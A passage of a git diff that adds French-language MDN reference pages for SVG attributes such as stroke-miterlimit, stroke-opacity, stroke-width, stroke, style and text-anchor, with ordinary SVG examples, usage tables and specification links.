+    &lt;circle cx="7"    cy="5" r="0.05" fill="pink" /&gt;
+    &lt;circle cx="7.75" cy="2" r="0.05" fill="pink" /&gt;
+    &lt;circle cx="8.5"  cy="5" r="0.05" fill="pink" /&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('miter-clip', '100%', 200)}}</p>
+
+<h3 id="round">round</h3>
+
+<p>La valeur <code>round</code> indique qu'un coin arrondi est utilisé pour joindre les segments du chemin.</p>
+
+<h4 id="Exemple_5">Exemple</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Effet de la valeur "round" --&gt;
+  &lt;path d="M1,5 l2,-3 l2,3" stroke="black" fill="none"
+        stroke-linejoin="round" /&gt;
+
+  &lt;!--
+  Lignes roses qui indiquent la position
+  du chemin pour chaque trait
+  --&gt;
+  &lt;g id="p"&gt;
+    &lt;path d="M1,5 l2,-3 l2,3"
+          stroke="pink" fill="none" stroke-width="0.025" /&gt;
+    &lt;circle cx="1" cy="5" r="0.05" fill="pink" /&gt;
+    &lt;circle cx="3" cy="2" r="0.05" fill="pink" /&gt;
+    &lt;circle cx="5" cy="5" r="0.05" fill="pink" /&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('round', '100%', 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#StrokeLinejoinProperty", "stroke-linejoin")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition pour les formes et le texte</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "painting.html#StrokeLinejoinProperty", "stroke-linejoin")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour les formes et le texte</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.presentation.stroke-linejoin")}}</p>
diff --git a/files/fr/web/svg/attribute/stroke-miterlimit/index.html b/files/fr/web/svg/attribute/stroke-miterlimit/index.html
new file mode 100644
index 0000000000..350ce47e36
--- /dev/null
+++ b/files/fr/web/svg/attribute/stroke-miterlimit/index.html
@@ -0,0 +1,116 @@
+---
+title: stroke-miterlimit
+slug: Web/SVG/Attribute/stroke-miterlimit
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/stroke-miterlimit
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>stroke-miterlimit</code></strong> définit la limite du rapport entre la longueur du coin et la valeur de {{ SVGAttr("stroke-width") }} utilisée pour dessiner la <a href="/fr/docs/Web/SVG/Attribute/stroke-linejoin">liaison entre deux segments de ligne</a>. Quand la limite est dépassée, la liaison passe du type <em>miter</em> (pointu) au type <em>bevel</em> (biseauté).</p>
+
+<p class="note"><strong>Note:</strong> L'attribut <code>stroke-miterlimit</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<p>Cet attribut peut être appliqué à n'importe quel élément, en revanche il n'aura d'effet que sur les éléments suivants: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 38 30" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Impact du miterlimit par défaut --&gt;
+  &lt;path stroke="black" fill="none" stroke-linejoin="miter" id="p1"
+        d="M1,9 l7   ,-3 l7   ,3
+           m2,0 l3.5 ,-3 l3.5 ,3
+           m2,0 l2   ,-3 l2   ,3
+           m2,0 l0.75,-3 l0.75,3
+           m2,0 l0.5 ,-3 l0.5 ,3" /&gt;
+
+  &lt;!-- Impact du miterlimit le plus petit (1) --&gt;
+  &lt;path stroke="black" fill="none" stroke-linejoin="miter"
+        stroke-miterlimit="1" id="p2"
+        d="M1,19 l7   ,-3 l7   ,3
+           m2, 0 l3.5 ,-3 l3.5 ,3
+           m2, 0 l2   ,-3 l2   ,3
+           m2, 0 l0.75,-3 l0.75,3
+           m2, 0 l0.5 ,-3 l0.5 ,3" /&gt;
+
+  &lt;!-- Impact d'un large miterlimit (8) --&gt;
+  &lt;path stroke="black" fill="none" stroke-linejoin="miter"
+        stroke-miterlimit="8" id="p3"
+        d="M1,29 l7   ,-3 l7   ,3
+           m2, 0 l3.5 ,-3 l3.5 ,3
+           m2, 0 l2   ,-3 l2   ,3
+           m2, 0 l0.75,-3 l0.75,3
+           m2, 0 l0.5 ,-3 l0.5 ,3" /&gt;
+
+  &lt;!-- Les lignes roses suivantes indiquent la position du chemin pour chaque trait --&gt;
+  &lt;path stroke="pink" fill="none" stroke-width="0.05"
+        d="M1, 9 l7,-3 l7,3 m2,0 l3.5,-3 l3.5,3 m2,0 l2,-3 l2,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5,-3 l0.5,3
+           M1,19 l7,-3 l7,3 m2,0 l3.5,-3 l3.5,3 m2,0 l2,-3 l2,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5,-3 l0.5,3
+           M1,29 l7,-3 l7,3 m2,0 l3.5,-3 l3.5,3 m2,0 l2,-3 l2,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5,-3 l0.5,3" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 400)}}</p>
+</div>
+
+<p>Quand deux segments de ligne se recontrent en angle aigu, et la liaison définit par {{ SVGAttr("stroke-linejoin") }} vaut <code>miter</code>, il est possible que le coin s'étende bien au-delà de l'épaisseur de la ligne du contour. Le ratio <code>stroke-miterlimit</code> est utilisé pour définir une limite à partir de laquelle la liaison est convertie de <em>miter</em> à <em>bevel</em>.</p>
+
+<p>Le rapport entre la longueur du coin (distance entre le côté intérieur et le côté externe du coin) et {{ SVGAttr("stroke-width") }} est directement lié à l'angle (θ) entre les segments, tel que décrit par cette formule:</p>
+
+<p><math> <mstyle displaystyle="true"> <mi><code>stroke-miterlimit</code></mi> <mo>=</mo> <mfrac> <mrow> <mi>miterLength</mi> </mrow> <mrow> <mi><code>stroke-width</code></mi> </mrow> </mfrac> <mo>=</mo> <mfrac> <mrow> <mn>1</mn> </mrow> <mrow> <mrow> <mi>sin</mi> <mrow> <mo>(</mo> <mfrac> <mrow> <mo>θ</mo> </mrow> <mrow> <mn>2</mn> </mrow> </mfrac> <mo>)</mo> </mrow> </mrow> </mrow> </mfrac> </mstyle> </math></p>
+
+<p>Par exemple, une limite de 1.414 convertit une liaison <em>miter</em> en <em>bevel</em> pour les angles de moins de 90 degrés, une limite de 4.0 pour les angles de moins de 29 degrés, et une limite de 10.0 pour les angles de moins de 11.5 degrés environ.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/en/SVG/Content_type#Number" title="en/SVG/Content_type#Number">&lt;number&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td>4</td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La valeur de <code>stroke-miterlimit</code> doit être supérieure ou égale à 1.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.presentation.stroke-miterlimit")}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#StrokeMiterlimitProperty", "stroke-miterlimit")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition pour les formes et le texte</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "painting.html#StrokeMiterlimitProperty", "stroke-miterlimit")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour les formes et le texte</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/stroke-opacity/index.html b/files/fr/web/svg/attribute/stroke-opacity/index.html
new file mode 100644
index 0000000000..dbddc5f78f
--- /dev/null
+++ b/files/fr/web/svg/attribute/stroke-opacity/index.html
@@ -0,0 +1,93 @@
+---
+title: stroke-opacity
+slug: Web/SVG/Attribute/stroke-opacity
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/stroke-opacity
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>stroke-opacity</code></strong> définit l'opacité du contour (<em>couleur</em>, <em>dégradé</em>, <em>motif</em>, etc) appliqué à une forme SVG.</p>
+
+<p class="note"><strong>Note:</strong> <code>stroke-opacity</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<p>Cet attribut peut être appliqué à tous les éléments, en revanche il n'aura d'effet que sur les éléments suivants: {{SVGElement('altGlyph')}}, {{SVGElement('circle')}}, {{SVGElement('ellipse')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, et {{SVGElement('tspan')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 40 10" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Opacité par défaut: 1 --&gt;
+  &lt;circle cx="5" cy="5" r="4" stroke="green" /&gt;
+
+  &lt;!-- Définit l'opacité avec un nombre entre 0 et 1--&gt;
+  &lt;circle cx="15" cy="5" r="4" stroke="green"
+          stroke-opacity="0.7" /&gt;
+
+  &lt;!-- Définit l'opacité avec un pourcentage --&gt;
+  &lt;circle cx="25" cy="5" r="4" stroke="green"
+          stroke-opacity="50%" /&gt;
+
+  &lt;!-- Définit l'opacité comme propriété CSS --&gt;
+  &lt;circle cx="35" cy="5" r="4" stroke="green"
+          style="stroke-opacity: .3;" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 150)}}</p>
+</div>
+
+<h2 id="Notes_d'usage">Notes d'usage</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><code>[0-1]</code> | <strong><a href="/docs/Web/SVG/Content_type#Paint">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> SVG2 introduit les valeurs en pourcentage pour <code>stroke-opacity</code>, Cependant, ce n'est pas souvent pris en charge. pour le moment (<em>voir {{anch("Compatibilité des navigateurs")}} ci-dessous</em>), il est par conséquent recommendé d'utiliser les valeurs de l'intervalle <code>[0-1]</code>.</p>
+
+<p>Il est important de savoir que le contour recouvre partiellement le remplissage d'une forme. Ainsi, un contour avec une opacité différente de 1 affichera partiellement le remplissage du dessous. Pour éviter cet effet, il est possible d'appliquer une opacité globale avec l'attribut {{SVGAttr('opacity')}} ou placer le contour derrière le remplissage avec {{SVGAttr('paint-order')}}.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.presentation.stroke-opacity")}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#StrokeOpacityProperty", "stroke-opacity")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition pour les formes et le texte</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "painting.html#StrokeOpacityProperty", "stroke-opacity")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour les formes et le texte</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/stroke-width/index.html b/files/fr/web/svg/attribute/stroke-width/index.html
new file mode 100644
index 0000000000..2850964c73
--- /dev/null
+++ b/files/fr/web/svg/attribute/stroke-width/index.html
@@ -0,0 +1,93 @@
+---
+title: stroke-width
+slug: Web/SVG/Attribute/stroke-width
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/stroke-width
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>stroke-width</code></strong> définit l'épaisseur du contour à appliquer à une forme SVG.</p>
+
+<p class="note"><strong>Note:</strong> <code>stroke-width</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<p>Cet attribut peut être appliqué à tous les éléments, en revanche il n'aura d'effet que sur les éléments suivants: {{SVGElement('altGlyph')}}, {{SVGElement('circle')}}, {{SVGElement('ellipse')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, et {{SVGElement('tspan')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Épaisseur par défaut: 1 --&gt;
+  &lt;circle cx="5" cy="5" r="3" stroke="green" /&gt;
+
+  &lt;!-- Définit l'épaisseur avec un nombre --&gt;
+  &lt;circle cx="15" cy="5" r="3" stroke="green"
+          stroke-width="3" /&gt;
+
+  &lt;!-- Définit l'épaisseur avec un pourcentage --&gt;
+  &lt;circle cx="25" cy="5" r="3" stroke="green"
+          stroke-width="2%" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 150)}}</p>
+</div>
+
+<h2 id="Notes_d'usage">Notes d'usage</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>1px</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> SVG2 introduit les valeurs en pourcentage pour <code>stroke-width</code>, Cependant, ce n'est pas souvent pris en charge pour le moment (<em>voir {{anch('Compatibilité des navigateurs')}} ci-dessous</em>). Il est par conséquent recommandé d'utiliser les valeurs de l'intervalle <code>[0-1]</code>.</p>
+
+<p>Une valeur en pourcentage est toujours calculée en tant que pourcentage de la longueur diagonale {{SVGAttr('viewBox')}} normalisée.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.presentation.stroke-width")}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#StrokeWidthProperty", "stroke-width")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>
+    <p>Définition pour les formes et le texte</p>
+
+
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "painting.html#StrokeWidthProperty", "stroke-width")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour les formes et le texte</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/stroke/index.html b/files/fr/web/svg/attribute/stroke/index.html
new file mode 100644
index 0000000000..9e8c7fa1ba
--- /dev/null
+++ b/files/fr/web/svg/attribute/stroke/index.html
@@ -0,0 +1,93 @@
+---
+title: stroke
+slug: Web/SVG/Attribute/stroke
+tags:
+  - Attribut SVG
+  - SVG
+translation_of: Web/SVG/Attribute/stroke
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>stroke</code></strong> définit la couleur (ou n'importe quelle méthode de remplissage, comme un gradient ou motif) a utiliser pour dessiner le contour d'une forme SVG.</p>
+
+<p class="note"><strong>Note:</strong> <code>stroke</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<p>Cet attribut peut être appliqué à tout élément, en revanche il n'aura d'effet que sur les éléments suivants: {{SVGElement('altGlyph')}}, {{SVGElement('circle')}}, {{SVGElement('ellipse')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;!-- Simple trait de couleur --&gt;
+  &lt;circle cx="5" cy="5" r="4" fill="none"
+          stroke="green" /&gt;
+
+  &lt;!-- Utiliser un degradé comme contour --&gt;
+  &lt;defs&gt;
+    &lt;linearGradient id="myGradient"&gt;
+      &lt;stop offset="0%"   stop-color="green" /&gt;
+      &lt;stop offset="100%" stop-color="white" /&gt;
+    &lt;/linearGradient&gt;
+  &lt;/defs&gt;
+  &lt;circle cx="15" cy="5" r="4" fill="none"
+          stroke="url(#myGradient)" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="Notes_d'usage">Notes d'usage</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Paint">&lt;paint&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>none</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#StrokeProperty", "stroke")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition pour les formes et le texte.<br>
+    Ajoute <code style="white-space: nowrap;">context-fill</code> et <code style="white-space: nowrap;">context-stroke</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "painting.html#StrokeProperty", "stroke")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définiton initiale pour les formes et le texte</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.presentation.stroke")}}</p>
+
+<p class="note"><strong>Note:</strong> Pour plus d'informations sur les valeurs de <code style="white-space: nowrap;">context-stroke</code> (et <code style="white-space: nowrap;">context-fill</code>) à partir de documents HTML, voir la documentation pour la propriété non-standard <span style="white-space: nowrap;">{{cssxref("-moz-context-properties")}}</span>.</p>
diff --git a/files/fr/web/svg/attribute/style/index.html b/files/fr/web/svg/attribute/style/index.html
new file mode 100644
index 0000000000..58bb5061ae
--- /dev/null
+++ b/files/fr/web/svg/attribute/style/index.html
@@ -0,0 +1,85 @@
+---
+title: style
+slug: Web/SVG/Attribute/style
+tags:
+  - Reference
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/style
+---
+<p>{{SVGRef}}</p>
+
+<p><span class="seoSummary">L'attribut <strong><code>style</code></strong> définit les <a href="/fr/docs/Web/CSS">informations de style</a> pour son élément. Il fonctionne de manière identique à <a href="/fr/docs/Web/HTML/Attributs_universels/style">l'attribut <code>style</code> en HTML</a>.</span></p>
+
+<h2 id="Context_d'utilisation">Context d'utilisation</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Catégories</th>
+   <td>Attribut de présentation</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td>&lt;style&gt;</td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Document normatif</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/styling.html#StyleAttribute">SVG 1.1 (2ème Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>&lt;style&gt;</dt>
+ <dd>La syntaxe des données de style dépend du langage de la feuille de style. Par défaut, le langage est <a href="/fr/docs/Web/CSS">CSS</a>.</dd>
+ <dd>
+ <p class="note"><strong>Note:</strong> En théorie, l'attribut {{SVGAttr("contentStyleType")}} pourrait être utilisé pour spécifier un language de style autre que CSS, comme <a href="/fr/docs/Web/XSLT">XSL(T)</a>. Cependant, cela n'a jamais été implémenté de manière satisfaisante dans les navigateurs, donc ne vous y fiez pas.</p>
+ </dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant stylise le rectangle en utilisant l'attribut <code>style</code>, avec CSS comme langage de feuille de style.</p>
+
+<pre class="brush: html">&lt;svg viewbox="0 0 1000 500" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;rect height="300" width="600" x="200" y="100"
+     style="fill: red; stroke: blue; stroke-width: 3"/&gt;
+&lt;/svg&gt;
+</pre>
+
+<h2 id="Éléments">Éléments</h2>
+
+<p>Les éléments suivants peuvent utiliser l'attribut <code>style</code>:</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Element#Éléments_conteneurs">Éléments conteneur</a> »</li>
+ <li><a href="/fr/docs/Web/SVG/Element#Éléments_primitives_de_filtre">Éléments primitives de filtre</a> »</li>
+ <li><a href="/fr/docs/Web/SVG/Element#Éléments_de_dégradés">Éléments de dégradés</a> »</li>
+ <li><a href="/fr/docs/Web/SVG/Element#Éléments_graphiques">Éléments graphiques</a> »</li>
+ <li><a href="/fr/docs/Web/SVG/Element#Éléments_structurels">Éléments structurels</a> »</li>
+ <li><a href="/fr/docs/Web/SVG/Element#Éléments_de_contenu_textuel">Éléments de contenu textuel</a> »</li>
+ <li>{{ SVGElement("clipPath") }}</li>
+ <li>{{ SVGElement("filter") }}</li>
+ <li>{{ SVGElement("font") }}</li>
+ <li>{{ SVGElement("foreignObject") }}</li>
+ <li>{{ SVGElement("glyphRef") }}</li>
+ <li>{{ SVGElement("stop") }}</li>
+ <li>{{ SVGElement("glyph") }}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ SVGElement("style") }}</li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.style.style")}}</p>
diff --git a/files/fr/web/svg/attribute/styling/index.html b/files/fr/web/svg/attribute/styling/index.html
new file mode 100644
index 0000000000..e959ac277b
--- /dev/null
+++ b/files/fr/web/svg/attribute/styling/index.html
@@ -0,0 +1,32 @@
+---
+title: Attributs SVG de style
+slug: Web/SVG/Attribute/Styling
+translation_of: Web/SVG/Attribute/Styling
+---
+<p>Les <em>attributs SVG de style</em> sont tous les attributs qui peuvent être spécifiés sur tout élément SVG pour appliquer des styles CSS.</p>
+
+<div class="index">
+<ul>
+ <li><a href="#attr-class"><code>class</code></a></li>
+ <li><a href="#attr-style"><code>style</code></a></li>
+</ul>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt id="attr-class">{{SVGAttr('class')}}</dt>
+ <dd>Assigne un nom de classe ou un ensemble de noms de classe à un élément. Il fonctionne de manière identique à l'attribut {{htmlattrxref('class')}} en HTML.<br>
+ <small><em>Valeur</em>: Tout ID valide; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-style">{{SVGAttr('style')}}</dt>
+ <dd>Spécifie les informations de style d'un élément. Il fonctionne de manière identique à l'attribut {{htmlattrxref('style')}} en HTML.<br>
+ <small><em>Valeur</em>: Toute chaîne de caractères valide; <em>Animation</em>: <strong>Non</strong></small>
+ <p> </p>
+ </dd>
+</dl>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.style")}}</p>
diff --git a/files/fr/web/svg/attribute/text-anchor/index.html b/files/fr/web/svg/attribute/text-anchor/index.html
new file mode 100644
index 0000000000..3ac25fe5db
--- /dev/null
+++ b/files/fr/web/svg/attribute/text-anchor/index.html
@@ -0,0 +1,93 @@
+---
+title: text-anchor
+slug: Web/SVG/Attribute/text-anchor
+tags:
+  - Attribut SVG
+  - NeedsCompatTable
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/text-anchor
+---
+<p>« <a href="/fr/docs/Web/SVG/Attribute" title="en/SVG/Attribute">Référence des attributs SVG </a></p>
+
+<p>L'attribut <code>text-anchor</code> est utilisé pour aligner un élément <code>text</code> par rapport à un point dont la position est définie au début "<code>start</code>", au milieu "<code>middle</code>" ou à la fin "<code>end</code>" de son contenu.</p>
+
+<p><code>text-anchor</code> s'applique à chaque morceau de texte (voir <a class="external" href="http://www.w3.org/TR/SVG/text.html#TextChunks" title="http://www.w3.org/TR/SVG/text.html#TextChunks">"text-chunks" (anglais)</a>) d'un élément <code>text</code>  donné. Chaque morceau de texte a une position initiale courante qui est représentée par un point dans le référentiel de coordonnées de l'utilisateur déterminée selon le contexte :  par les valeurs des attributs {{ SVGAttr("x") }} et {{ SVGAttr("y") }} sur un élément {{ SVGElement("text") }},  par la position du premier caractère affiché d'un morceau de texte pour un élément {{ SVGElement("tspan") }}, {{ SVGElement("tref") }} ou {{ SVGElement("altGlyph") }} quels que soient les valeurs de ses attributs {{ SVGAttr("x") }} ou {{ SVGAttr("y") }}  ou à la position initiale du texte d'un élément {{ SVGElement("textPath") }}.</p>
+
+<p>En tant qu'attribut de présentation, il peut aussi être utilisé directement comme une propriété dans une feuille de style CSS.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Catégories</th>
+   <td>Attribut de présentation</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td>start | middle | end | <strong title="valeur par défaut">inherit</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Animable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Document de spécification</th>
